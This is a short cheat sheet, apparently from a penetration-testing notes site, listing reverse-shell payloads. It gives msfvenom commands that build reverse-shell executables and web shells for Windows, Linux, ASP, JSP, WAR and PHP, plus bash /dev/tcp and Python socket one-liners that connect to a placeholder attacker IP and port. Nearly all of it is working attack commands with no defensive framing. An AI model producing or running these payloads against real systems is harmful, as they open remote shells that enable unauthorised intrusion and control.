Reverse shell

Table of content

MSFVenom

Windows

msfvenom -p windows/shell/reverse_tcp LHOST=${IP} LPORT=${PORT}> -f exe > shell-x86.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=${IP} LPORT=${PORT} -f exe > shell-x64.exe

Linux

msfvenom -p linux/x86/shell/reverse_tcp LHOST=${IP} LPORT=${PORT} -f elf > shell-x86.elf
msfvenom -p linux/x64/shell/reverse_tcp LHOST=${IP} LPORT=${PORT} -f elf > shell-x64.elf

Web

  • ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=${IP} LPORT=${PORT} -f asp > shell.asp
  • JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=${IP} LPORT=${PORT} -f raw > example.jsp
  • WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=${IP} LPORT=${PORT} -f war > example.war
  • PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=${IP} LPORT=${PORT} -f raw > shell.php

Onliner

bash -i >& /dev/tcp/${IP}/${PORT} 0>&1
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("${IP}",${PORT}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

results matching ""

    No results matching ""

    results matching ""

      No results matching ""